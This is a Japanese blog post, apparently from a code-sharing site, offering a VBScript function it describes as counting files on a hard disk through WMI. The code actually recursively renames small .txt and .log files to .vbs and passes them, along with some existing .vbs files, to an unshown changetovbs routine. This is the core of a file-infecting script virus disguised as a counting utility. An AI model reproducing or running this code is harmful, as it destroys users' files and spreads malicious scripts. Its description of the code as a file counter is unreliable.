VBSがWMIを呼び出してハードディスクのファイルをトラバースしてカウントする
2022-02-08 06:14:06
何年か前に、WMIを呼び出してハードディスクのファイルを反復してカウントするVBS関数を書いたのですが、今日、それをWebサイトで見て投稿してみました
コアとなるコード
Function wmisfile(path_sf,justcnt)
'On Error Resume Next
StrComputer = ". "
Set ObjWMIService = GetObject("winmgmts:\\\" & StrComputer & "\root\cimv2")
Set FileList = objWMIService.ExecQuery _
("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
& "ResultClass = CIM_DataFile")
For Each objFile In FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <= 50000 Then
Select Case ename
Case "txt","log"
path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
Call changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case "vbs"
If checkversion(fname) = False Then
Call changetovbs(fname,fname)
justcnt = justcnt + 1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
& "Where AssocClass = Win32_Subdirectory " _
& "ResultRole = PartComponent")
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
関連
-
VBSは現在のスクリプトがあるフォルダーを開く
-
vbs自作数字パズルゲーム実装コード
-
ファイルをドラッグ&ドロップするとファイルパスが表示される vbs コード
-
管理者権限でbatファイルを自動実行(vbsとbatの2つの方法)
-
VBSの基本 - vbscript TextStreamオブジェクト
-
vbscript Webページシミュレートログイン効果コード
-
ホストファイルのドメインアドレスの内容を削除するためにvbsを使用します。
-
vbでのなりすましシャットダウンプログラム
-
DNSを変更し、IEの一時ファイルを空にするvbsスクリプト
-
jre パッケージをダウンロードし、サイレントにインストールする vbs スクリプトのコード例
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン